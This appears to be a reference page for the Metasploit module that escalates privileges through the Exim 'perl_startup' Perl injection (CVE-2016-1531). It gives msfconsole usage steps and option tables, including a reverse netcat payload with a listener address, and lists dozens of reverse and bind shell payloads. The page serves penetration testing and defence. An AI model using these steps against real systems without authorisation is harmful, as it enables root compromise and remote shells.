Exim "perl_startup" Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/unix/local/exim_perl_startup metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Exim "perl_startup" Privilege Escalation
Module: exploit/unix/local/exim_perl_startup
Source code: modules/exploits/unix/local/exim_perl_startup.rb
Disclosure date: 2016-03-10
Last modification time: 2021-01-21 19:59:29 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-1531
This module exploits a Perl injection vulnerability in Exim < 4.86.2 given the presence of the "perl_startup" configuration parameter.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/unix/local/exim_perl_startup
msf exploit(exim_perl_startup) > show targets
... a list of targets ...
msf exploit(exim_perl_startup) > set TARGET target-id
msf exploit(exim_perl_startup) > show options
... show and set options ...
msf exploit(exim_perl_startup) > set SESSION session-id
msf exploit(exim_perl_startup) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the unix/local/exim_perl_startup exploit module looks in the msfconsole:
msf6 > use exploit/unix/local/exim_perl_startup
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/local/exim_perl_startup) > show info
Name: Exim "perl_startup" Privilege Escalation
Module: exploit/unix/local/exim_perl_startup
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-03-10
Provided by:
Dawid Golunski
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 Exim < 4.86.2
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Avoid: 2 characters
Description:
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-1531
https://www.exploit-db.com/exploits/39549
http://www.exim.org/static/doc/CVE-2016-1531.txt
Module Options
This is a complete list of options available in the unix/local/exim_perl_startup exploit:
msf6 exploit(unix/local/exim_perl_startup) > show options
Module options (exploit/unix/local/exim_perl_startup):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Exim < 4.86.2
Advanced Options
Here is a complete list of advanced options supported by the unix/local/exim_perl_startup exploit:
msf6 exploit(unix/local/exim_perl_startup) > show advanced
Module advanced options (exploit/unix/local/exim_perl_startup):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/local/exim_perl_startup module can exploit:
msf6 exploit(unix/local/exim_perl_startup) > show targets
Exploit targets:
Id Name
-- ----
0 Exim < 4.86.2
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/local/exim_perl_startup exploit:
msf6 exploit(unix/local/exim_perl_startup) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/local/exim_perl_startup exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/local/exim_perl_startup) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14640 Merged Pull Request: rubocop -a modules/exploits/unix/local/
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8345 Merged Pull Request: Add WordPress 4.6 PHPMailer exploit
- #6779 Merged Pull Request: Add Exim privesc
References
See Also
Check also the following modules related to this module:
- exploit/unix/local/at_persistence
- exploit/unix/local/chkrootkit
- exploit/unix/local/emacs_movemail
- exploit/unix/local/netbsd_mail_local
- exploit/unix/local/opensmtpd_oob_read_lpe
- exploit/unix/local/setuid_nmap
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/unix/smtp/exim4_string_format
- exploit/windows/smb/group_policy_startup
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- encoder/cmd/perl
- payload/cmd/unix/bind_perl
- payload/cmd/unix/bind_perl_ipv6
- payload/cmd/unix/reverse_perl
- payload/cmd/unix/reverse_perl_ssl
- payload/cmd/windows/bind_perl
- payload/cmd/windows/bind_perl_ipv6
- payload/cmd/windows/reverse_perl
- payload/php/bind_perl
- payload/php/bind_perl_ipv6
- payload/php/reverse_perl
Authors
- Dawid Golunski
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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